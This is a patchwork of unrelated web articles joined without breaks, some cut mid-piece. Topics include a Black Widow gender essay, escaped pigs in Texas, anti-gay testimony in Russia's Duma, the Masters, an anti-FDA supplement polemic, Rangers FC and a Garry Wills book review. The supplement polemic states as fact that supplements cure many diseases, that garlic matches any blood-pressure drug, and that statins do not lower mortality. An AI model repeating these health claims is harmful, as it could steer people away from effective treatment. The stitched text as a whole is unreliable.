“I hope people come out to see the film,” concluded Ahn. “I hope people tell people about the film! There has been so much in the news about the lack of Asian representation in film and how studios are whitewashing roles in films like Ghost in a Shell or Doctor Strange. I’m really glad that I made Spa Night, a film that features an entirely Korean lead cast, because I feel like it can push Asian and Asian American actors to the forefront. However, in order to do this, people need to see it! If audiences show a desire to watch more Asian American film, we can make more Asian American film.”
AsAmNews is an all-volunteer effort of dedicated staff and interns. You can show your support by liking our Facebook page at www.facebook.com/asamnews, following us on Twitter, sharing our stories, interning or joining our staff.Black Widow, Scarce Resources And High-Stakes Stories
Enlarge this image toggle caption Jay Maidment/Marvel Jay Maidment/Marvel
[This post about the plot and characters in Avengers: Age Of Ultron discusses the plot and characters in Avengers: Age Of Ultron.]
We were never going to avoid gender politics with a character named "Black Widow."
The entire concept – arachnoid but especially pop-cultural – of the Black Widow is centered on sex and violence; it's fundamentally relational, meaningless without a husband to outlive — a man to have sex with, marry and kill. So maybe it's predictable that the Marvel superhero Black Widow, also known as Natasha Romanoff in the Avengers movies, has been such a vexing presence up through Avengers: Age Of Ultron (a movie I will say out of the gate that I like a lot). Marvel has come under fire for the lack of Black Widow merchandise (even from Mark Ruffalo, who plays the Hulk), and in an open letter to writer-director Joss Whedon on the blog Women And Hollywood, Sara Stewart expressed frustration with the portrayal of Black Widow in the movie, as well as with the other women, primarily Hawkeye's wife, played by Linda Cardellini, and the Scarlet Witch, played by Elizabeth Olsen.
Stewart's argument is worth reading, along with another in The Daily Beast, and crystallizes one of the toughest things about working through portrayals of gender (and race, and any other kind of difference) in fiction: how impossible it is for the content of any one portrayal to be so tremendous that it cleans up the mess created by scarcity of representation.
Stewart argues, for instance, that it's obnoxious that in the film – in which all the Avengers have neuroses and traumas and fears brought to the surface – Natasha reveals that as part of the program that turned her into a trained assassin, she was forcibly sterilized to avoid any possibility that she'd develop a priority above the mission. Stewart asks: "Haven't we gotten to a point where the one lonely female superhero in our current landscape can just pursue the business of avenging without having to bemoan not being a mother?"
Well, yes... and no. Against a landscape in which female superheroes are vanishingly rare – in other words, accounting for the context in which the character exists, within and beyond this film and franchise – it's disappointing that Natasha's conflict ultimately comes down to motherhood, and to the loneliness of the childless career woman. That is, to be sure, an overripe cliché as a cause of moping in the seemingly bad-ass woman with a heart full of pain.
But! But standing alone, this is (1) a story about a woman subjected to institutional interference with her fertility and (2) a story about a woman who was told they didn't trust her to take on an important job because they believed she secretly would always care about babies more. Neither one of those two things, historically, has happened only in fiction. Those themes are well worth exploring. They resonate at least as fully as Hawkeye's desire to get home to his family, Bruce Banner's isolation over becoming a giant green monster, and Tony Stark's daddy issues. There is heft in that story, and there's nothing shameful or diminishing about telling it just because it's a story that's specific to childbearing or not.
The same is true of Stewart's frustration that Cardellini's character, Laura, is "a housewife." In fact, what Laura seems to represent, as far as the patriotic iconography Whedon has been playing with both ironically and earnestly as long as this franchise has been his, is not the housewife but the military wife. (Stewart obliquely acknowledges as much by referring to her role as "literally keeping the home fires burning.") There's nothing inherently uninteresting or gender-regressive in being a military spouse, or a housewife, or a single parent, or a person who lives with the pain of sending her (or his) husband (or wife) to do any dangerous job for the protection of others.
It's true that Cardellini isn't playing a superhero, but her role wouldn't necessarily be any more developed or worthwhile if, rather than taking care of children and cooking in a kitchen, she were seen rushing into a New York apartment with a briefcase and a bag of takeout. She represents home in the story – she represents both what is owed to people outside the job and what can be gotten only from people outside the job. Those are fair things to write stories about.
There's nothing wrong with stories about women who are housewives or stories about women who struggle because they were forcibly prevented from having kids as a condition of whatever mission they chose to undertake. The problem is that with so few women in superhero movies, each of these portrayals stands not only for the choices Whedon made, but for all the choices he and many others didn't and don't make. The portrayals of Natasha and Laura rankle at some level, for me, not because they are stories about a woman traumatized by not having children and a woman waiting for her husband to come home, but because it's another story about those two women rather than any of the other bazillion women who could exist in this universe and don't. If you had five butt-kicking women in this movie, it would seem perfectly logical that one of them might have a story related to getting pregnant or not. Why wouldn't she?
These, for me, are scarcity problems. They are problems because there are so few opportunities to show women in action blockbusters that I tend to crave something very much capable of moving discussions of what those portrayals can be like forward.
Comparing portrayals of women in film to portrayals of men is sort of like comparing football games to baseball games in a season. Baseball games are so abundant that rarely does any one game carry all that much weight (at least until very late in the season). What you look for is the overall record. It's assumed that there will be slumps and streaks, good stretches and bad stretches. Baseball games are more fungible – you think of them in quantity rather than as individual specimens.
There are only about a tenth as many football games in a season. You lose one, you're unhappy. You lose two straight, and you're in big trouble. The stakes feel far higher, as if something has to be proved every time you go out on the field, that day, that time. I've seen stories of women waiting to greet men in dangerous jobs before. I've seen women lament that they can't have kids before. So where I relate to Stewart's complaints (and those of the many people, both male and female, who agree with her) is in that with the opportunities so limited, I would rather see the many other women's stories I haven't seen and don't expect to see.
Perhaps the trickiest aspect of the scarcity problem is that it enormously complicates the issue of whether you want a portrayal of a female character to specifically engage her being a woman or not. Do you want Black Widow to be exactly like the other Avengers and incidentally a woman? Because there's an argument that parity calls for that. Or do you want the story to be about the fact that she's a woman, as in fact it is here, and to deal with that fact and make it part of the story of her life? There's an argument that parity calls for that, too.
The answer, of course, is yes, to both. I want there to be stories about women that aren't specific to the fact that they're women, and I want stories about women that acknowledge that fact and build it into the story. This is how it is with men: every story you've ever heard of a man who learns years later that he has a child he didn't know about is specific to his role in baby-having, just as much as Natasha's story is specific to hers. Those stories should be told; it's rich subject matter. It's not sexist to tell that story. But most stories about men in movies are just about them doing stuff, and there should be stories about women just doing stuff, too.
The problem with trying to look at a film outside of the context in which it exists – a context of massive underrepresentation behind and in front of the camera – is that it's entirely theoretical. You can't remove a film from its cultural context; that's part of what makes movies interesting. There's no such thing as analyzing a Hollywood movie as something separate from what Hollywood unceasingly is; it's like analyzing wine without having ever heard of grapes.
To be honest, I can't think of another Avenger whose story Natasha could have swapped with who wouldn't, in some way, raise questions of whether the story was influenced by gender stereotypes. If she had Tony's story, she'd be the one who messed up and wouldn't listen, who created the need for a rescue. If she had Cap's story, she'd be the one who tries to keep everyone from being vulgar – the behavior cop. If she had the Hulk's story, she'd be the one whose superpower is being carried away by her uncontrollable emotions. If she had Thor's story, she'd be the one who doesn't have very much to do and is omitted from a large stretch of the movie. If she had Hawkeye's story, she'd be the one who just wanted to go home and be with the kids.
Any of these things could look like a stereotype. This is a very, very hard piece of ground to walk without tripping over something: Whedon fans tend to be disappointed because they had their expectations set by Buffy The Vampire Slayer, but it is the rankest of cultural amnesia to forget how frequently people took issue with elements of that show's treatment of issues around sexual violence and sexuality.
There's no answer to what to do about a specific portrait of the lone female Avenger that isn't more satisfying, more meaningful, more helpful alongside an argument for slowly, surely, gradually insisting upon having more female Avengers. More of everybody doing everything. A season with more games in it.
Scarcity will always drive us back to these same conversations about how every woman carries the obligation to represent What This Director Thinks Women Are For, and absolutely no answer to that question will ever be a good answer.DALLAS - Police near Dallas were busy Thursday rounding up pigs that had escaped an overturned tractor-trailer on a freeway.
The crash was reported about 6:45 a.m. on Interstate 45 in Wilmer.
At least a dozen pigs could be seen roaming the freeway while traffic snaked by the scene. KXAS-TV reported that several swine wandered about a half mile away from the scene of the crash.
Authorities seemed to have most of the animals rounded up by 9 a.m.
Stay with KPRC 2 and Click2Houston.com for the latest on this developing story.
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Copyright 2017 by KPRC Click2Houston - All rights reserved.Family Research Institute founder Paul Cameron, who has been censured by the American Psychological Association and the American Sociological Association for distorting statistics in efforts to block LGBT rights, spoke at a Duma roundtable on "family values," according to tweets from lawmaker Alexander Sidyakin.
Russia's parliament invited an American anti-gay psychologist whose work has been widely discredited to give expert testimony where he suggested that a third of LGBTs support pedophilia, according to a participant in the meeting.
"He cited statistics of a survey of homosexualists: 27% engage in sex with children from 15 to 18, 15% with children under 15; 32% think such sex is OK"
"Such interesting statistics. The question is, should we give children away to be adopted by single-sex families? For me the answer's obvious. Comrade Cameron..."
"...is even harsher. He says we should ban those who openly promote their homosexual orientation from teaching children in schools. A hawk."
Cameron has made a career out of publishing statistics that seek to bolster the argument that homosexuality is harmful to society and leads to suicide, drug addiction, and depression, which the civil rights organization the Southern Poverty Law Center describes as "hate literature masquerading as legitimate science."
Cameron holds a PhD in psychology from the University of Colorado, but he lost scientific credibility in the early 1980s, when he was expelled from the American Psychological Association. He then began presenting himself as a sociologist, which led to the censure of the American Sociological Association in 1985.
At issue is not just that he disagrees with mainstream scientific positions on whether homosexuality is immutable or a mental illness, but the way he allegedly manipulates statistics to bolster anti-gay arguments.
In its resolution censuring Cameron in 1985, the American Sociological Association stated that Cameron "has consistently misinterpreted and misrepresented sociological research on sexuality, homosexuality, and lesbianism," using "distorted interpretation of this research" to campaign "for the abrogation of the civil rights of lesbians and gay men."
Cameron's appearance comes on the heels of a meeting of the 2014 planning committee of the World Congress of Families conference scheduled for Moscow. The Oct 15-16 meeting brought together well-known social conservatives from the United States—including Brian Brown of the National Organization for Marriage, Tom Minnery of Focus on the Family, and Scott Lively—and Russian anti-LGBT activists such as Archpriest Dimitry Smirnov, Vladimir Yakunin of the St. Andrew the First-Called Foundation, and Natalia Yakunina of the Sanctity of Motherhood Program. There were also activists present from several other countries, including Venezuela, Serbia, and France.
Sidyakin is a close ally of Russian President Vladimir Putin, and is the author of a law that imposes stiff penalties on NGOs who receive money from abroad and do not register as "foreign agents."
Based on his tweets, the roundtable seemed to be intensifying the drumbeat in favor of laws targeting gay and lesbian parents. A pending proposal to away their children was recently withdrawn by its sponsor, Deputy Alexei Zhuravlyov, but he has promised to re-introduce it after some tweaks are made to its wording. Russia has already banned citizens of countries that have approved same-sex marriage from adopting Russian children.
Sidyakin tweeted that Cameron's statistics should silence critics of the law criminalizing "promoting non-traditional sexual relations to minors":The College of William and Mary’s Residence Life office announced a number of changes for on-campus housing next year. These changes continue reshuffling practices that started last year after the College purchased the Hospitality House, now called One Tribe Place.
“We think the changes we are making will make living on campus more attractive,” Director of ResLife Deb Boykin said. “We hope that students will continue to see living on campus as something that they enjoy and [consider] beneficial to their education.”
The ResLife changes include the closing of Chandler Hall for the 2014-15 academic year. The hall was scheduled to be closed this year, 2013-14, but was reopened after unforeseen complications with One Tribe Place renovations.
The Chandler renovations will include efforts to improve its facilities and freshen its appearance by adding central air-conditioning as well as new bathrooms, windows, doors and ceilings. Substance-free housing, currently on the third floor of Chandler, will move to the first floor of Landrum Hall.
Komal Parhar ’15, a resident assistant in Chandler, said that she feels the renovationsare necessary.
“I like living here, but it definitely does need to be renovated — it is an old building,” Parhar said.
The addition of One Tribe Place and the new fraternity complex allowed the College to discard the wait list for students wishing to live on campus in last year’s registration process. With this, room designations in the Ludwell apartments and the Bryan Complex changed to accommodate the additional beds and limit the number of vacancies on campus. In the fall, Boykin said there were about 200 vacancies. Basement rooms in Bryan Hall, Camm Hall, Madison Hall and Stith Hall will become singles and Ludwell triple apartments will become doubles. This will provide 30 additional single rooms and 58 more double apartments for next year.
Hunt Hall, changed to upperclassman housing last year, will move back to freshman housing for the 2014-15 academic year.
In terms of other future efforts, Boykin said more long-term renovation projects are in the works. She said improvements in residence buildings require a lengthy renovation process that cannot be achieved in the summer alone.The Masters
Venue: Augusta National, Georgia Dates: 11-14 April Live coverage: BBC Two, HD & online from 18:30 BST on Saturday and 19:30 BST on Sunday; BBC Radio 5 live from 21:00 BST daily; Amen Corner online on Saturday and Sunday; Daily text commentary
Chinese teenager Guan Tianlang has been getting lessons from Tiger Woods ahead of his historic US Masters appearance this week.
The 14-year-old will become the youngest player in Masters history when he tees off on Thursday.
He played with the world number one during a practice round at Augusta on Monday.
"Each time I play with him I feel a lot better and give myself some confidence and it's very good," Guan said.
"He told me a lot. We really enjoyed it on the golf course."
The pair met at the driving range on Monday after Guan's morning practice round with two-time Masters winner Ben Crenshaw, and Woods invited the talented teenager for a back-nine practice round at the course with Dustin Johnson, giving Guan the chance to play the famous Amen Corner with the 14-time major winner.
Guan Tianlang facts Born: 25 October 1998
25 October 1998 Lives: Guangzhou, China
Guangzhou, China Started playing golf aged 4
Eighth-grade student at Zhixin High School
Favourite player is Tiger Woods
Won the Asia-Pacific Amateur in November to qualify for the Masters
Youngest player to win on the China Amateur Futures Tour (aged 11 in 2010) and the China Amateur Tour (aged 12 in 2011)
Won the 2011 China Amateur Open and the 2011 Junior World Golf Championship
Guan had not been born when Woods won his first major title at the 1997 Masters, but the schoolboy from Guangzhou has been inspired by the American and has spent the past month in Augusta preparing for his historic debut.
"It's frightening to think that he was born after I won my first Masters," Woods said. "I mean, that's just frightening.
"It's exciting that I have inspired kids to play and not just here in the States but obviously in China and around the world. The game has become global. There are more countries represented on the PGA Tour than ever.
"It's only going to increase, and we're going to have a lot of players from countries that traditionally haven't been into golf that are going to start to play this game at a high level."
Guan secured his place at Augusta by winning last year's Asia-Pacific Amateur Championship in Thailand and he becomes the youngest player at the event since Italy's Matteo Manassero, who was 16 when he made his Masters debut in 2010.
He will play in Wednesday's traditional par-three event with three-time winner Nick Faldo and is relishing his opportunities at Augusta National.
"I'm really excited in the morning when I come out on the course and there's many people here and I'm really looking forward to the tournament," he said. "I'm not going to push myself too hard and I'm going to enjoy my game. Hopefully I can play well.
Veteran Crenshaw and world number eight Steve Stricker were both full of praise for the teenager.
"He's way more mature than 14," said Crenshaw. "I think we're all asking ourselves what the heck were we doing when we were 14. He's very accomplished and you could just tell that he lives and breathes it.
"He doesn't over exert himself, he's balanced."
Stricker added: "I knew he was playing, I knew he was young. I didn't think he was the same age as my daughter. I thought he was 16
"That's remarkable. I just can't imagine being that young and competing at this level at such an early age. It will be interesting to see how he does and how he handles it. It's remarkable that he's even playing."The FDA Escalates Its Long War on Dietary Supplements
by Bill Sardi
Recently by Bill Sardi: FDA May Be Getting Ready To Water-Down Your Vitamin Pills
FIVE UNBELIEVABLE NEWS HEADLINES
Human life found on another planet in Milky Way galaxy. Jesus returns to east gate in old Jerusalem, signs autographs Federal government admits it seeds atmosphere with chemtrails in population control measure Bankers admit their wrongs and voluntarily go to police stations to surrender and be punished. FDA relents from its long-standing battle with dietary supplement companies and allows disease-treatment/cure claims and removal of label disclaimer that supplements do not cure disease.
NUMBER FIVE IS THE LEAST LIKELY TO EVER OCCUR
The U.S. Food & Drug Administration has a long-standing anti-dietary supplement stance that dates back to the 1940s, an era when the first miracle drugs like penicillin and cortisone were commercially introduced..
Believing the public was being oversold on the value of vitamin supplements, the FDA pursued one so-called huckster, Adolphus Hohensee, who promoted a line of health foods and vitamins in the 1940s. Hohensee had falsely portrayed himself as a doctor, acquired some questionable diplomas, and paraded a bevy of products that included lecithin, B-complex vitamins, wheat germ oil, mineral capsules and herb laxatives. Hohensee's lectures would generate up to $50,000 in daily sales of his products.
The FDA took issue with Hohensee, claiming his educational materials were part of the labeling for his products. He incurred heavy fines. He was assailed for "a gospel that condemned the normal American food supply and made purchase of special supplements necessary for physical and mental salvation."
The FDA responded that dietary deficiency diseases did exist, but these had been eradicated in America with fortified foods and an adequate food supply. Hohensee accurately stated that eggs, processed grains, milk and meats of the day were not what they were decades earlier. Crops were depleted of nutrients. Foods were over-processed.
Critics claimed Hohensee's statements were false. The soil's quality has little influence on the quality of the crop grown, they said, or otherwise the crop wouldn't grow. Hohensee claimed that garlic was good for lowering blood pressure. Though Hohensee's own diet was not a very good example for others (he was caught drinking beer, fried food and white bread by news reporters), his message rang of truth. He and others were harassed, fined, jailed, and branded as food faddists who peddled "nutritional nonsense." The Federal Trade Commission and the American Medical Association also took action. The AMA published articles of "pseudo-nutritional doctrines."
Today we know that:
A significant percentage of the American public is deficient in essential vitamins. Without dietary supplements many Americans are deficient in essential nutrients.
Garlic does reduce blood pressure in some cases. Studies conducted in the 1920's, and more than 16 modern studies conducted in the 1980's and 1990's confirm that garlic can significantly reduce blood pressure. A more recent analysis of ten studies involving garlic and its primary active ingredient allicin reveals that garlic reduces systolic blood pressure by an average of 16 points and diastolic blood pressure by 9 point compared to a placebo tablet. That is as good as any blood pressure medication. Recognize that maybe 1 in 5 patients with high-blood pressure who take medications achieve 140/90 blood pressure. Anti-hypertensive drugs are fraught with side effects, including the potential for inducing an excessive drop in blood pressure during sleep that can impair circulation to the optic nerve and result in blindness. Garlic has none of these side effects.
The Recommended Daily Allowances are woefully inadequate and out-dated and do not address the individual nutritional requirements of 50 percent of the population (the hospitalized, smokers, pregnant females, those taking medicines, growing children, those individuals who exercise, anyone under emotional stress, have greater nutritional needs).
Adolphus Hohensee, for all of his shortcomings, was just another of the ridiculed advocates for self-care and the nutritional approach to health maintenance.
Skeptics will scrutinize the relatively weak scientific citations quoted herein in support of the claim that dietary supplements prevent, treat or cure disease. It must be recognized the dietary supplement industry does not generate sufficient profits to conduct long-term, placebo-controlled human studies involving thousands of patients. The criticism that is continually heard about dietary supplements is that they represent unproven therapy. But in most instances drugs have already been disproven. For example, statin cholesterol-lowering drugs and anti-cancer drugs do not significantly reduce mortality rates, yet they are held in high esteem as approved by the FDA. The National Institutes of Health, which controls billions of dollars of research funds, is remiss in sponsoring well-designed studies involving nutriceuticals. Furthermore, the supplement industry cannot be blamed that its products don't prevent or cure disease. If supplements did that, they would be declared drugs by the FDA! With the exception of deficiency disease (rickets, scurvy, beri beri, pellagra, etc.) it is categorically impossible for a dietary supplement to claim it prevents, treats or cures any disease without facing sanctions from the FDA. This is silly. Supplements DO prevent, treat and cure many diseases. A muzzle has been placed over the dietary supplement industry.
FDA Attempts To Restrict Vitamins In The 1970s
The FDA, in league with the National Academy of Sciences Food & Nutrition Board and other health authorities has worked to limit the intake of essential nutrients so as to restrict their use to frank deficiency diseases only.
Richard S. Colman, Ph.D., President and Director of Scientific Research at Biomed Inc. in Concord, California, a first-person observer of events at the time, calls attention to the FDA's effort in 1973 to make vitamin dosages over 1.5 times the Recommended Daily Allowance available by prescription only. Government received more mail against the proposed 1973 vitamin regulations than it received on the Vietnam War, says Colman.
Dr. Colman goes on to say: "In 1973, thousands of people rallied at the Cow Palace, a convention hall a few miles south of San Francisco, to protest the proposed FDA regulations. I was present as an observer. People were carrying signs saying: u2018GO TO HEALTH, FDA.' By a vote of something like 408 to 3, the House of Representatives voted to take the power to regulate vitamin dosage away from the FDA." The FDA soon dropped its plan. A subsequent effort by FDA also failed.
FDA Refuses To Implement Law
Peter Barton Hutt, former chief counsel for FDA (1971-75) and senior counsel with the Washington, D.C., law firm of Covington & Burling LLP, provides us with a more detailed history of the FDA's long war against dietary supplements. According to Hutt, the primary thrust of the FDA's anti-supplement efforts has been to maintain that dietary supplements are unnecessary for any person who eats properly, "a feeling that has continued to persist within the agency up to this very day," says Hutt. This is in the face of the fact that the government's 5-A-Day program to eat fruits and vegetables has miserably failed to reduce mortality rates for heart disease and cancer.
For decades the FDA applied pressure and attempted to gain greater authority to regulate the supplement industry. This led to Congressional hearings that finally landed in the US Court of Appeals in 1974, who overruled parts of the regulations. Then Senator William Proxmire (D-Wis.) pushed through Congress the Vitamin-Mineral Amendments of 1976 which further reduced FDA flexibility in regulating dietary supplements, says Hutt. Frustrated and bending to the will of the people, in 1979 FDA revoked all of the regulations it had propagated in 1972.
According to Hutt, the freedoms gained in the 1994 Dietary Supplement Health & Education Act have FDA Commissioner David Kessler MD to thank for them. Dr. Kessler's arrogance prompted the supplement industry and the public to fight back.
A year prior to the passage of DSHEA Dr. Kessler announced he would resist approval of any proposed disease prevention claims for dietary supplements and would attack dietary ingredients other than essential vitamins and minerals on the ground that they are illegal food additives that must be removed from the market.
Eventually the Dietary Supplement Health & Education Act of 1994 was passed, but, as Hutt explains: "Kessler was so infuriated by the enactment of DSHEA that he ordered FDA not to enforce the new law. FDA took virtually no enforcement action because Kessler was convinced if the law was not enforced and the worst elements of the dietary supplement industry were allowed to run wild, Congress would repeal the law. Of course, that did not occur. For a full decade, however, Kessler sacrificed protection of the public health to his own personal animosity toward DSHEA."
Then the FDA drug its feet for more than a decade before outlining Good Manufacturing Practices for dietary supplements, all the while demeaning supplements for not exhibiting the quality of drugs. Was the FDA again hoping that some poorly made dietary supplement would kill or seriously harm consumers so it could then re-launch its vendetta against the supplement industry?
What happened was, after years of allegations that the supplement industry was hiding serious side effects from regulators, an Adverse Events Reporting rule went into effect where supplement manufacturers had to report any adverse reactions that caused a consumer to see a doctor or be hospitalized. However, even with this reporting requirement, dietary supplements have proven to be comparably safer than aspirin, tap water and table salt. Again, the FDA's war against supplements fizzled.
The Current FDA Challenge Facing Dietary Supplements
The current challenge dietary supplements face is worse than any before. The FDA now seeks to implement a new guideline that would force all supplements dating back to the passage of the 1994 DSHEA to undergo toxicity and birth defect studies, a requirement that would so expensive it would quash the entire industry, require more than $50 billion of testing which represents the entire estimated profits produced by the industry for 20 years, a guideline that would be impossible to administrate (56,000 supplements would have to undergo an approval process in a short time), a guideline that would surely eliminate thousands of products from retail store shelves and place hundreds of thousands of Americans workers into unemployment lines. The FDA has aimed a death blow at the industry. To find out how to oppose this new FDA guideline, visit www.operationpushback.com
This tyranny against dietary supplements by the FDA will never end till it is relieved of its duty to oversee the supplement industry. Oversight may be better accomplished by turning supplement regulation over to the US Department of Agriculture. Otherwise the American public will continue paying a steep price for the FDA's bias of drugs over supplements.
Evidence That Vitamins Cure Disease Pre-Dates Most Drugs
The idea that vitamins food factors that are essential for life could cure disease was first described in the very early 1900s and pre-dated most drugs. Subsequently various specific vitamins were discovered and then later synthetically produced and commercialized.
Because of a focus on profitability and patent protection, drug companies ignored un-patentable molecules from nature such as vitamins, minerals and amino acids to the point where only now, because of gene analyses, are vitamins like vitamin D, folic acid (vitamin B9), thiamin (vitamin B1) and vitamin C, along with various herbal extracts such as resveratrol and quercetin from red wine, curcumin from turmeric and allicin from garlic, being rediscovered as having broader biological activity than synthetic drugs.
Because of political and industry pressure, as patents for older drugs expired, the FDA has been forced into approving new drugs that are even less effective than older drugs at an much higher consumer price. This has been documented for diabetes drugs, drugs to treat Parkinson's disease and epilepsy. All the while, dietary supplements have been considered step-children to drugs.
Remarkably, it may be dietary supplements that break the mold of designing individual drugs for every disease. Instead, so-called nutraceuticals would address many diseases, particularly chronic diseases of aging. But trying to get these revolutionary natural molecules past the FDA is going to be some challenge.
The mapping of the human genome and the discovery that genes are dynamic rather than fixed in nature (genes can be switched on and off in what is called epigenetics) now for the first time reveals natural medicines may be superior to patent drugs. In fact, natural medicines like ginger root, garlic, ginseng, curcumin and many others have a safety advantage over prescription drugs. The safety of drugs is not fully known till years after FDA approval and many thousands of patients have taken the drug whereas natural molecules have been in use for centuries and are in common use in the population.
Researchers now propose that epigenetic side-effects of pharmaceuticals may be involved in the etiology of many diseases including heart disease, cancer, nerve and mental disorders, obesity, diabetes, leukemia, bipolar disorder, schizophrenia, infertility, and sexual dysfunction. Pharmaceuticals wreak havoc over human genes. Researchers are calling for epigenetic screening of all existing and future pharmaceutical drugs. The FDA actually approves drugs that worsen disease.
At some indefinite point in time pharmacologists began to re-arrange natural molecules into synthetics that could garner patent protection and be used to hike up the price and profitability of medicines. Pharmacology today largely based upon the design synthetically produced molecules that address a particular cell receptor site or gene target.
Eventually the US Food & Drug Administration took on the role of protector for the interests of US Drug Manufacturers and their number one position globally in the $880 billion pharmaceutical industry. This got to the point where, in one instance, the FDA totally relied upon a manufacturer's false claim that its anti-inflammatory drug was safer (caused less gastric upset and bleeding ulcers) than other drugs, allowed that drug to be widely promoted on television, and the drug led to thousands of premature deaths.
Blood on its hands
At the height of the Vioxx scandal, where an FDA regulator-turned-whistleblower had to actually leave the country and break the news about the increased risk for death when taking this drug, the FDA had the gall |
Scottish FA.
"For us, it is a balance between what is fair and appropriate and what is required.
"I addressed the staff today because there will be job losses and the implications are huge. We need to draw this matter to an end now and get the Scottish FA to agree membership for us, get on with our lives and rebuild.
"There have been huge issues with getting us to the point we are at today. While we have this big hurdle to overcome, it is the last and final hurdle, in my mind, we need to resolve."
Focus on football
In a statement, the Scottish FA said: "Scottish football’s recovery process begins today. The Board of the Scottish FA endorses the decisions made by the respective members of the Scottish Premier League and Scottish Football League to accommodate Rangers FC Newco into the Irn Bru Division Three.
"The Scottish FA Board are also wholly committed to Stewart Regan driving this process forward. Since being appointed Chief Executive, he has led us through an unprecedented modernisation of the Scottish FA.
"He has our full support to continue the excellent work undertaken so far in accomplishing the key objectives of our strategic plan, Scotland United: A 2020 Vision. This will remain the Board’s priority as we move forward.
"The new season begins in less than two weeks and it is incumbent on the Scottish FA to conclude all outstanding issues relating to Rangers FC. To that end, we aim to meet with the club this week with the intention of achieving a satisfactory outcome for all parties so that we can focus on football in time for the new campaign."Portishead singer Beth Gibbons last released a solo project in 2002, when she collaborated with Talk Talk's Paul Webb (aka Rustin Man) for Out of Season. Now, she's planning a new full-length solo record. Gibbons has teamed up with Domino Records for the album, the details of which haven't been announced yet.
In the meanwhile, Portishead will do a tour of European festivals this summer.
Portishead:
06-14 Hutsfred, Sweden - Hutsfred Festival
06-16 Aarhus, Denmark - Northside Festival
06-18 Berlin, Germany - Zitadelle *
06-19 Prague, Czech Republic - Tipsport Arena *
06-21 Scheeßel, Germany - Hurricane Festival
06-22 Tuttlingen, Germany - Southside Festival
06-23 Hilvarenbeek, Holland - Best Kept Secret Festival
06-25 Krakow, Poland - Tinning Plant of ArcelorMittal
06-28 Somerset, England - Glastonbury
07-26 Benidorm, Spain - Low Cost Festival
with Savages
Watch the video for Beth Gibbons and Rustin Man's "Tom the Model"
Embedded content is unavailable.Book Title:
Why Priests? A Failed Tradition ISBN-13:
978-0670024872 Author:
Garry Wills Publisher:
Viking Guideline Price:
Dollar27.95
There is scarcely a mention of priesthood in the New Testament. Nor is the phenomenon of priesthood evident in the practices of the early church. How then, asks Garry Wills, did the priesthood become so central to Christianity, and particularly to the Roman Catholic Church, and why is there such an attachment to its continuation in a religion that began without it?
Wills is a Pulitzer Prize-winning author who, over many decades, has brought his impressive command of history to bear on some of the most fundamental claims of Christianity. In his new book he brings his acknowledged erudition to bear on the institution of the priesthood, arguing not only that it has no biblical basis but, more importantly, that, notwithstanding its doubtful heritage, it has played a seminal role in the construction and maintenance of many of the core beliefs of Christianity. Without priesthood, Wills claims, there would be no belief in apostolic succession, or in transubstantiation (the belief that the communion bread and wine actually becomes the body and blood of Christ), or in the sacrificial interpretation of the Mass.
Wills describes the early Christian community as “a priestless movement” that was essentially egalitarian. The only reference of any significance to the priesthood in the New Testament comes in the Letter to the Hebrews, a letter that was traditionally attributed to St Paul but that has long been acknowledged to be of unknown provenance. The writer of the letter describes Jesus as a priest in the line of Melchizedek (a Caananite king referred to in the Book of Genesis) and over the centuries, from this idiosyncratic text, the church began to construct an account of priestly power which implied that the priesthood was established by Jesus and that his apostles could also be understood in priestly terms. This, Wills insists, is quite simply false. It has no historical basis.
Over the centuries the priesthood acquired a status and power that is at odds with the vision of the early church. Wills analyses the acquisition of this power, arguing persuasively that the critical factor in the establishment of the power of the priestly class has been the claim that, in the Eucharist, priests have the power to transform the bread and wine into the actual body and blood of Christ. As Wills notes, nothing else a priest does matches this power. It is here that Wills’s position is at its most original and insightful. Through his expert reading of key theological texts he demonstrates how this assertion gained ascendency in the history of Catholicism. The most definitive articulation of the priest’s apparent ability to transform the bread and wine into the actual body and blood came only in the 16th century, and is thus a late development in Catholicism.
In the background, however, was Thomas Aquinas, with his Aristotelian philosophy of substance and accident, which provided the conceptual apparatus for the claim. Historians and theologians have long acknowledged that the official Roman Catholic doctrine of transubstantiation is a construct of the Counter-Reformation. It sought to impose, once and for all, a literal interpretation on an idea that, for most of the history up until then, was understood in symbolic terms. It drew heavily on the great theologian of the middle ages, Aquinas, to further develop a narrative which claimed that Jesus instituted the Eucharist as a sacrificial meal at the last supper, and that, in an act of unbroken succession, all priests continue to do this when they celebrate the Eucharist. Wills reminds his readers, however, that there is another equally compelling tradition of interpretation, exemplified especially by St Augustine and Martin Luther, which denied this claim.
According to Wills, in the early church, “there were no priests and no priestly services; there was no re-enactment of Jesus’ Last Supper; no ‘sacrifice of the Mass’; no consecration of bread and wine; nothing that resembled what priests now claim to do”. There is no doubt that, when taken together, such claims appear to be radical. However, much of the historical and theological analysis on which Wills builds his thesis is uncontroversial among scholars. What is controversial is the question he poses in light of his conclusion that Jesus did not institute the Eucharist in any way that resembles how it was subsequently developed by the church. He asks whether there is any point in persisting with what he regards as a failed tradition when there is ample evidence that Catholicism does not need the institution of the priesthood at all. He criticises those who argue for the ordination of women or men in married or gay relationships, suggesting that the most honest position would be one that seeks the abolition of priesthood entirely.
Wills is clear in this that his target is not the 400,000 individual priests, many of whom, he acknowledges, make a significant contribution to the lives of countless millions worldwide. Rather, his focus is on the institution, which, he argues, has a flimsy biblical heritage and a dubious theological justification and is an impediment to the development of a more egalitarian Christianity.
Running throughout the text, moreover, is an argument about the necessity of reform in the church. For Wills, the first and necessary step in any meaningful reform process is the repudiation of the sacrificial interpretation of the Eucharist and a return to an understanding that is more consonant with the biblical texts and the practice of the early church. Not only would this restore the Eucharist to its original meaning as a thanksgiving meal, it would also have the effect of requiring the church to confront the exclusivism and hierarchicalism that have been embedded in its structures through the institution of the priesthood. He also sees this as a first step towards genuinely reciprocal relationships with other Christian denominations and other religious traditions.
One hopes that Wills’s argument will be seriously considered, though Wills himself regards this as unlikely. His passion for reform of a church to which he is deeply committed is palpable. However, one can see how this may be missed or misunderstood in the context of such a searing criticism of one of its central institutions. His task is a worthy one, namely to bring the institution of the priesthood under the gaze of historical and theological scrutiny. Moreover, it stands in a long line of critical investigations that focus on the ways in which certain teachings, institutions and practices have come to be embedded in the Catholic tradition. Through his erudite scholarship and his compelling argumentation Wills has made an important contribution to this field of study and, in the process, has written a book that is thoroughly absorbing and engaging.
vvIn the weeks following Sigi Schmid’s departure from the Seattle Sounders, significant change has been pretty obvious. Not only is the team playing better than it has all season — and winning — there’s also a very clear shift in the attitudes of the players both on the pitch and the training ground.
